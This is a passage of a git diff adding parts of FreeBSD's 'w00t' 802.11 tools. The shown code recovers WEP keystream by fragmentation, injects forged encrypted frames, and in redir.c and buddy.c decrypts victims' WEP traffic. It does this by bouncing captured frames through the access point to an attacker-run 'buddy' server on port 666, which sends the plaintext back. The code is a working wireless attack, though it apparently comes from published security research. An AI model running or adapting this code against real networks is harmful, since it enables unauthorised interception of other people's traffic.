+ now.tv_sec = el/1000/1000;
+ now.tv_usec = el - now.tv_sec*1000*1000;
+
+ FD_ZERO(&fds);
+ FD_SET(p->rx, &fds);
+ if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
+ err(1, "select()");
+
+ if (!FD_ISSET(p->rx, &fds))
+ return;
+
+ /* get relay */
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA))
+ return;
+
+ if (memcmp(wh->i_addr2, p->ap, 6) != 0)
+ return;
+
+ if (memcmp(wh->i_addr3, p->mac, 6) != 0)
+ return;
+
+ if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
+ return;
+
+ /* lends different due to padding? */
+ if ( (rc - sizeof(*wh) - 8) != p->data_len)
+ return;
+
+ /* grab new PRGA */
+ assert(p->data_len >= p->prga_len);
+ ptr = (char*) (wh+1);
+ memcpy(p->iv, ptr, 3);
+ ptr += 4;
+
+ crc = crc32(crc, p->data, p->data_len);
+ pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
+ *pcrc = crc;
+
+ for (rc = 0; rc < p->data_len+4; rc++)
+ p->prga[rc] = p->data[rc] ^ ptr[rc];
+
+ p->prga_len = p->data_len+4;
+ p->state = S_START;
+ save_prga(p);
+}
+
+void get_more_prga(struct params *p)
+{
+ switch (p->state) {
+ case S_START:
+ start(p);
+ break;
+
+ case S_SEND_FRAG:
+ send_frag(p);
+ break;
+
+ case S_WAIT_ACK:
+ wait_ack(p);
+ break;
+
+ case S_WAIT_RELAY:
+ wait_relay(p);
+ break;
+
+ default:
+ printf("WTF %d\n", p->state);
+ abort();
+ break;
+ }
+}
+
+void read_tap(struct params *p)
+{
+ int offset;
+ char *ptr;
+ struct ieee80211_frame *wh;
+ int rc;
+ char dst[6];
+ short *seq;
+ uLong *pcrc;
+ uLong crc = crc32(0L, Z_NULL, 0);
+
+ memset(p->packet, 0, sizeof(p->packet));
+ offset = sizeof(*wh) + 4 + 8 - 14;
+ rc = sizeof(p->packet) - offset;
+ ptr = &p->packet[offset];
+
+ rc = read(p->tap, ptr, rc);
+ if (rc == -1)
+ err(1, "read()");
+
+ memcpy(dst, ptr, sizeof(dst));
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+
+ wh->i_dur[0] = 0x69;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memcpy(wh->i_addr3, dst, 6);
+
+ seq = (short*) wh->i_seq;
+ *seq = seqfn(p->seq++, 0);
+
+ /* data */
+ ptr = (char*) (wh+1);
+ memcpy(ptr, p->iv, 3);
+ ptr += 3;
+ *ptr++ = 0;
+ memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
+ rc -= 14;
+ rc += 8;
+
+ crc = crc32(crc, ptr, rc);
+ pcrc = (uLong*) (ptr+rc);
+ *pcrc = crc;
+
+ rc += 4;
+
+ assert(p->prga_len >= rc);
+
+ /* wepify */
+ for (offset = 0; offset < rc; offset++)
+ ptr[offset] ^= p->prga[offset];
+
+ p->packet_len = sizeof(*wh) + 4 + rc;
+ p->data_try = 0;
+ send_packet(p);
+ p->state = S_WAIT_ACK;
+}
+
+/* XXX */
+void wait_tap_ack(struct params *p)
+{
+ p->data_try = 0;
+ p->frag = 1;
+ wait_ack(p);
+
+ if (p->state == S_SEND_FRAG) {
+#if 0
+ printf("Got ACK\n");
+#endif
+ p->state = S_START;
+ }
+}
+
+void transmit(struct params *p)
+{
+ switch (p->state) {
+ case S_START:
+ read_tap(p);
+ break;
+
+ case S_WAIT_ACK:
+ wait_tap_ack(p);
+ break;
+
+ default:
+ printf("wtf %d\n", p->state);
+ abort();
+ break;
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ struct params p;
+ char *iface = "ath0";
+ char *tap = "tap0";
+ int ch;
+
+ memset(&p, 0, sizeof(p));
+ p.fname = "prga.log";
+ memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
+ p.state = S_START;
+ p.mtu = 1500;
+ p.seq = getpid();
+
+ while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
+ switch (ch) {
+ case 'b':
+ if (str2mac(p.ap, optarg) == -1) {
+ printf("Can't parse BSSID\n");
+ exit(1);
+ }
+ break;
+
+ case 't':
+ tap = optarg;
+ break;
+
+ case 'h':
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ /* init */
+ if ((p.rx = open_rx(iface)) == -1)
+ err(1, "open_rx()");
+ if ((p.tx = open_tx(iface)) == -1)
+ err(1, "open_tx()");
+
+ if ((p.tap = open_tap(tap)) == -1)
+ err(1, "open_tap()");
+ if (set_iface_mac(tap, p.mac) == -1)
+ err(1, "set_iface_mac()");
+
+ printf("Obtaining PRGA\n");
+ /* make sure we got some prga */
+ load_prga(&p);
+
+ while (p.prga_len == 0)
+ get_prga(&p);
+
+ /* lets grab some more */
+ while (p.prga_len < p.mtu)
+ get_more_prga(&p);
+
+ /* transmit */
+ p.state = S_START;
+ while (1)
+ transmit(&p);
+
+ exit(0);
+}
diff --git a/tools/tools/net80211/w00t/redir/Makefile b/tools/tools/net80211/w00t/redir/Makefile
new file mode 100644
index 0000000..2318196
--- /dev/null
+++ b/tools/tools/net80211/w00t/redir/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+.include <../Makefile.inc>
+
+PROG= redir
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/w00t/redir/buddy.c b/tools/tools/net80211/w00t/redir/buddy.c
new file mode 100644
index 0000000..7d66e04
--- /dev/null
+++ b/tools/tools/net80211/w00t/redir/buddy.c
@@ -0,0 +1,158 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/uio.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in_systm.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netinet/ip.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <signal.h>
+#include <err.h>
+
+void hexdump(void *b, int len)
+{
+ unsigned char *p = (unsigned char*) b;
+
+ while (len--)
+ printf("%.2X ", *p++);
+ printf("\n");
+}
+
+int handle_data(int dude, char *buf, int len)
+{
+ struct ip *ih;
+ unsigned short id;
+ char tmp[4];
+ struct iovec iov[2];
+ struct msghdr mh;
+
+ ih = (struct ip*) buf;
+
+ /* XXX IP FRAGS */
+
+ /* filter */
+ if (ih->ip_p != 0)
+ return 0;
+
+ if (ih->ip_hl != 5)
+ return 0;
+
+ /* get info */
+ id = ih->ip_id;
+ len -= 20;
+ buf += 20;
+ printf("Got %d bytes [%d]\n", len, ntohs(id));
+#if 0
+ hexdump(buf, len);
+#endif
+
+ /* prepare packet */
+ memcpy(tmp, &id, 2);
+ id = htons(len);
+ memcpy(&tmp[2], &id, 2);
+
+ iov[0].iov_base = tmp;
+ iov[0].iov_len = 4;
+ iov[1].iov_base = buf;
+ iov[1].iov_len = len;
+
+ memset(&mh, 0, sizeof(mh));
+ mh.msg_iov = iov;
+ mh.msg_iovlen = sizeof(iov)/sizeof(struct iovec);
+
+ /* write */
+ if (sendmsg(dude, &mh, 0) != (4 + len))
+ return -1;
+ return 0;
+}
+
+void handle_dude(int dude, int raw)
+{
+ char buf[4096];
+ int rd;
+
+ while (1) {
+ rd = recv(raw, buf, sizeof(buf), 0);
+ if (rd == -1)
+ err(1, "recv()");
+
+ if (handle_data(dude, buf, rd) == -1)
+ return;
+ }
+}
+
+void hand(int s)
+{
+ printf("sigpipe\n");
+}
+
+int main(int argc, char *argv[])
+{
+ int s, dude;
+ struct sockaddr_in s_in;
+ int len;
+ int raw;
+
+ memset(&s_in, 0, sizeof(&s_in));
+ s_in.sin_family = PF_INET;
+ s_in.sin_port = htons(666);
+ s_in.sin_addr.s_addr = INADDR_ANY;
+
+ if ((raw = socket(PF_INET, SOCK_RAW, 0)) == -1)
+ err(1, "socket()");
+
+ if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+ err(1, "socket()");
+
+ if (bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) == -1)
+ err(1, "bind()");
+
+ if (listen(s, 5) == -1)
+ err(1, "listen()");
+
+ if (signal(SIGPIPE, hand) == SIG_ERR)
+ err(1, "signal()");
+
+ while (1) {
+ len = sizeof(s_in);
+ dude = accept(s, (struct sockaddr*)&s_in, &len);
+ if (dude == -1)
+ err(1, "accept()");
+
+ printf("Got dude %s\n", inet_ntoa(s_in.sin_addr));
+ handle_dude(dude, raw);
+ printf("Done\n");
+ }
+}
diff --git a/tools/tools/net80211/w00t/redir/redir.c b/tools/tools/net80211/w00t/redir/redir.c
new file mode 100644
index 0000000..77dc16d
--- /dev/null
+++ b/tools/tools/net80211/w00t/redir/redir.c
@@ -0,0 +1,709 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/uio.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <err.h>
+#include <assert.h>
+#include <zlib.h>
+#include "w00t.h"
+
+enum {
+ S_START = 0,
+ S_WAIT_ACK,
+ S_WAIT_BUDDY
+};
+
+struct queue {
+ struct ieee80211_frame *wh;
+ int len;
+ int id;
+
+ char *buf;
+ int live;
+ struct queue *next;
+};
+
+struct params {
+ int rx;
+ int tx;
+
+ int s;
+ int port;
+
+ int tap;
+
+ char mac[6];
+ char ap[6];
+ char rtr[6];
+ struct in_addr src;
+ struct in_addr dst;
+
+ char prga[2048];
+ int prga_len;
+ char iv[3];
+ char *fname;
+
+ int state;
+
+ struct queue *q;
+
+ char packet[2048];
+ int packet_len;
+ struct timeval last;
+ int id;
+ int data_try;
+
+ int seq;
+ int frag;
+
+ char buddy_data[2048];
+ int buddy_got;
+};
+
+void load_prga(struct params *p)
+{
+ int fd;
+ int rd;
+
+ fd = open(p->fname, O_RDONLY);
+ if (fd == -1) {
+ p->prga_len = 0;
+ return;
+ }
+
+ rd = read(fd, p->iv, 3);
+ if (rd == -1)
+ err(1, "read()");
+ if (rd != 3) {
+ printf("Short read\n");
+ exit(1);
+ }
+
+ rd = read(fd, p->prga, sizeof(p->prga));
+ if (rd == -1)
+ err(1, "read()");
+ p->prga_len = rd;
+
+ printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
+ close(fd);
+}
+
+int wanted(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ char *bssid, *sa;
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
+ bssid = wh->i_addr1;
+ sa = wh->i_addr2;
+ }
+ else {
+ bssid = wh->i_addr2;
+ sa = wh->i_addr3;
+ }
+
+ if (memcmp(bssid, p->ap, 6) != 0)
+ return 0;
+
+ if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
+ printf("Got non WEP packet...\n");
+ return 0;
+ }
+
+ /* my own shit */
+ if (memcmp(p->mac, sa, 6) == 0)
+ return 0;
+
+ return 1;
+}
+
+void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
+{
+ struct queue *q = p->q;
+ int qlen = 0;
+ char *ret = NULL;
+ struct queue *last = NULL;
+
+ /* find a slot */
+ while (q) {
+ if (q->live)
+ qlen++;
+ else {
+ /* recycle */
+ ret = q->buf;
+ break;
+ }
+
+ last = q;
+ q = q->next;
+ }
+
+ /* need to create slot */
+ if (!q) {
+ q = (struct queue*) malloc(sizeof(*q));
+ if (!q)
+ err(1, "malloc()");
+ memset(q, 0, sizeof(*q));
+
+ /* insert */
+ if (!p->q)
+ p->q = q;
+ else {
+ assert(last);
+ last->next = q;
+ }
+ }
+
+ q->live = 1;
+ q->buf = *buf;
+ q->len = len;
+ q->wh = wh;
+ q->id = p->id++;
+
+ qlen++;
+
+ if (qlen > 5)
+ printf("Enque. Size: %d\n", qlen);
+ *buf = ret;
+}
+
+/********** RIPPED
+************/
+unsigned short in_cksum (unsigned short *ptr, int nbytes) {
+ register long sum;
+ u_short oddbyte;
+ register u_short answer;
+
+ sum = 0;
+ while (nbytes > 1)
+ {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if (nbytes == 1)
+ {
+ oddbyte = 0;
+ *((u_char *) & oddbyte) = *(u_char *) ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ answer = ~sum;
+ return (answer);
+}
+/**************
+************/
+
+void send_packet(struct params *p)
+{
+ int rc;
+ struct ieee80211_frame *wh;
+
+ rc = inject(p->tx, p->packet, p->packet_len);
+ if (rc == -1)
+ err(1, "inject()");
+ if (rc != p->packet_len) {
+ printf("Wrote %d/%d\n", rc, p->packet_len);
+ exit(1);
+ }
+
+ p->data_try++;
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+
+ if (gettimeofday(&p->last, NULL) == -1)
+ err(1, "gettimeofday()");
+}
+
+void send_header(struct params *p, struct queue *q)
+{
+ struct ieee80211_frame *wh;
+ short *pseq;
+ char *ptr;
+ struct ip *ih;
+ int len, i;
+ uLong crc = crc32(0L, Z_NULL, 0);
+ uLong *pcrc;
+
+ /* 802.11 */
+ memset(p->packet, 0, sizeof(p->packet));
+ wh = (struct ieee80211_frame *) p->packet;
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+ wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
+
+ wh->i_dur[0] = 0x69;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memcpy(wh->i_addr3, p->rtr, 6);
+
+ pseq = (short*) wh->i_seq;
+ p->frag = 0;
+ p->seq++;
+ *pseq = seqfn(p->seq, p->frag++);
+
+ /* IV */
+ ptr = (char*) (wh+1);
+ memcpy(ptr, p->iv, 3);
+ ptr += 4;
+
+ /* LLC/SNAP */
+ memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
+
+ /* IP */
+ ih = (struct ip*) (ptr+8);
+ ih->ip_v = 4;
+ ih->ip_hl = 5;
+ len = q->len - sizeof(*wh) - 4 - 4 + 20;
+ ih->ip_len = htons(len);
+ ih->ip_id = htons(q->id);
+ ih->ip_ttl = 69;
+ ih->ip_p = 0;
+ ih->ip_src.s_addr = p->src.s_addr;
+ ih->ip_dst.s_addr = p->dst.s_addr;
+ ih->ip_sum = in_cksum((unsigned short*)ih, 20);
+
+ /* ICV */
+ len = 8 + 20;
+ crc = crc32(crc, ptr, len);
+ pcrc = (uLong*) (ptr+len);
+ *pcrc = crc;
+
+ /* wepify */
+ for (i = 0; i < len + 4; i++)
+ ptr[i] ^= p->prga[i];
+
+ p->packet_len = sizeof(*wh) + 4 + len + 4;
+ p->data_try = 0;
+ send_packet(p);
+}
+
+void send_queue(struct params *p)
+{
+ struct queue *q = p->q;
+
+ assert(q);
+ assert(q->live);
+
+ send_header(p, q);
+ p->state = S_WAIT_ACK;
+}
+
+void send_data(struct params *p)
+{
+ struct ieee80211_frame *wh;
+ short *seq;
+ struct queue *q = p->q;
+ char *dst, *src;
+ int len;
+
+ assert(q);
+
+ /* 802.11 */
+ memset(p->packet, 0, sizeof(p->packet));
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+
+ wh->i_dur[0] = 0x69;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memcpy(wh->i_addr3, p->rtr, 6);
+
+ seq = (short*) wh->i_seq;
+ *seq = seqfn(p->seq, p->frag++);
+
+ /* data */
+ dst = (char*) (wh+1);
+ src = (char*) (q->wh+1);
+ len = q->len - sizeof(*wh);
+ memcpy(dst, src, len);
+
+ p->packet_len = sizeof(*wh) + len;
+ p->data_try = 0;
+ send_packet(p);
+}
+
+void got_ack(struct params *p)
+{
+ switch (p->frag) {
+ case 1:
+ send_data(p);
+ break;
+
+ case 2:
+ p->state = S_WAIT_BUDDY;
+ p->data_try = 69;
+ break;
+ }
+}
+
+void read_wifi(struct params *p)
+{
+ static char *buf = 0;
+ static int buflen = 4096;
+ struct ieee80211_frame *wh;
+ int rc;
+
+ if (!buf) {
+ buf = (char*) malloc(buflen);
+ if (!buf)
+ err(1, "malloc()");
+ }
+
+ rc = sniff(p->rx, buf, buflen);
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ /* acks */
+ if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
+ (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
+ got_ack(p);
+ return;
+ }
+
+ /* data */
+ if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA)) {
+ if (!wanted(p, wh, rc))
+ return;
+
+ enque(p, &buf, wh, rc);
+ if (p->state == S_START)
+ send_queue(p);
+ return;
+ }
+}
+
+int connect_buddy(struct params *p)
+{
+ struct sockaddr_in s_in;
+
+ memset(&s_in, 0, sizeof(s_in));
+ s_in.sin_family = PF_INET;
+ s_in.sin_port = htons(p->port);
+ s_in.sin_addr.s_addr = p->dst.s_addr;
+
+ if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+ return -1;
+
+ if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
+ return -1;
+
+ return 0;
+}
+
+void buddy_reset(struct params *p)
+{
+ p->buddy_got = 0;
+
+ if (connect_buddy(p) == -1)
+ err(1, "connect_buddy()");
+}
+
+int buddy_get(struct params *p, int len)
+{
+ int rd;
+
+ rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
+ if (rd <= 0) {
+ buddy_reset(p);
+ return 0;
+ }
+
+ p->buddy_got += rd;
+ return rd == len;
+}
+
+void read_buddy_head(struct params *p)
+{
+ int rem;
+
+ rem = 4 - p->buddy_got;
+
+ if (!buddy_get(p, rem))
+ return;
+}
+
+void read_buddy_data(struct params *p)
+{
+ unsigned short *ptr = (unsigned short*) p->buddy_data;
+ int id, len, rem;
+ struct queue *q = p->q;
+ struct queue *last = p->q;
+ char mac[12];
+ struct iovec iov[2];
+
+ id = ntohs(*ptr++);
+ len = ntohs(*ptr++);
+
+ rem = len + 4 - p->buddy_got;
+
+ assert(rem > 0);
+ if (!buddy_get(p, rem))
+ return;
+
+ /* w00t, got it */
+#if 0
+ printf("id=%d len=%d\n", id, len);
+#endif
+ p->buddy_got = 0;
+
+ /* feedback loop bullshit */
+ if (!q)
+ return;
+ if (!q->live)
+ return;
+
+ /* sanity chex */
+ if (q->id != id) {
+ printf("Diff ID\n");
+ return;
+ }
+
+ rem = q->len - sizeof(*q->wh) - 4 - 4;
+ if (rem != len) {
+ printf("Diff len\n");
+ return;
+ }
+
+ /* tap */
+ if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
+ memcpy(mac, q->wh->i_addr3, 6);
+ memcpy(&mac[6], q->wh->i_addr2, 6);
+ } else {
+ memcpy(mac, q->wh->i_addr1, 6);
+ memcpy(&mac[6], q->wh->i_addr3, 6);
+ }
+ iov[0].iov_base = mac;
+ iov[0].iov_len = sizeof(mac);
+ iov[1].iov_base = (char*)ptr + 8 - 2;
+ iov[1].iov_len = len - 8 + 2;
+
+ rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
+ if (rem == -1)
+ err(1, "writev()");
+ if (rem != (14+(len-8))) {
+ printf("Short write %d\n", rem);
+ exit(1);
+ }
+
+ /* deque */
+ q->live = 0;
+ if (q->next) {
+
+ p->q = q->next;
+
+ while (last) {
+ if (!last->next) {
+ last->next = q;
+ q->next = 0;
+ break;
+ }
+ last = last->next;
+ }
+ }
+
+ /* drain queue */
+ p->state = S_START;
+ if (p->q->live)
+ send_queue(p);
+}
+
+void read_buddy(struct params *p)
+{
+ if (p->buddy_got < 4)
+ read_buddy_head(p);
+ else
+ read_buddy_data(p);
+}
+
+void own(struct params *p)
+{
+ struct timeval tv;
+ struct timeval *to = NULL;
+ fd_set fds;
+ int max;
+ int tout_ack = 10*1000;
+ int tout_buddy = 2*1000*1000;
+ int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
+
+ if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
+ int el;
+
+ /* check timeout */
+ if (gettimeofday(&tv, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ el = elapsed(&p->last, &tv);
+
+ /* timeout */
+ if (el >= tout) {
+ if (p->data_try > 3) {
+ p->state = S_START;
+ return;
+ } else {
+ send_packet(p);
+ el = 0;
+ }
+ }
+ el = tout - el;
+ tv.tv_sec = el/1000/1000;
+ tv.tv_usec = el - tv.tv_sec*1000*1000;
+ to = &tv;
+ }
+
+ FD_ZERO(&fds);
+ FD_SET(p->rx, &fds);
+ FD_SET(p->s, &fds);
+ max = (p->rx > p->s) ? p->rx : p->s;
+
+ if (select(max+1, &fds, NULL, NULL, to) == -1)
+ err(1, "select()");
+
+ if (FD_ISSET(p->rx, &fds))
+ read_wifi(p);
+ if (FD_ISSET(p->s, &fds))
+ read_buddy(p);
+}
+
+void usage(char *name)
+{
+ printf("Usage %s <opts>\n"
+ "-h\thelp\n"
+ "-d\t<buddy ip>\n"
+ "-p\t<port>\n"
+ "-b\t<bssid>\n"
+ "-t\t<tap>\n"
+ "-r\t<rtr>\n"
+ "-s\t<source ip>\n"
+ , name);
+ exit(1);
+}
+
+int main(int argc, char *argv[])
+{
+ struct params p;
+ char *iface = "ath0";
+ char *tap = "tap0";
+ int ch;
+
+ memset(&p, 0, sizeof(p));
+ memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
+ p.fname = "prga.log";
+ p.seq = getpid();
+
+ while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
+ switch (ch) {
+ case 's':
+ if (!inet_aton(optarg, &p.src)) {
+ printf("Can't parse src IP\n");
+ exit(1);
+ }
+ break;
+
+ case 'r':
+ if (str2mac(p.rtr, optarg) == -1) {
+ printf("Can't parse rtr MAC\n");
+ exit(1);
+ }
+ break;
+
+ case 't':
+ tap = optarg;
+ break;
+
+ case 'b':
+ if (str2mac(p.ap, optarg) == -1) {
+ printf("Can't parse BSSID\n");
+ exit(1);
+ }
+ break;
+
+ case 'd':
+ if (!inet_aton(optarg, &p.dst)) {
+ printf("Can't parse IP\n");
+ exit(1);
+ }
+ break;
+
+ case 'p':
+ p.port = atoi(optarg);
+ break;
+
+ case 'h':
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ load_prga(&p);
+ assert(p.prga_len > 60);
+
+ if ((p.rx = open_rx(iface)) == -1)
+ err(1, "open_rx()");
+ if ((p.tx = open_tx(iface)) == -1)
+ err(1, "open_tx()");
+
+ if ((p.tap = open_tap(tap)) == -1)
+ err(1, "open_tap()");
+ if (set_iface_mac(tap, p.mac) == -1)
+ err(1, "set_iface_mac()");
+
+ if (connect_buddy(&p) == -1)
+ err(1, "connect_buddy()");
+
+ p.state = S_START;
+ while (1)
+ own(&p);
+
+ exit(0);
+}
OpenPOWER on IntegriCloud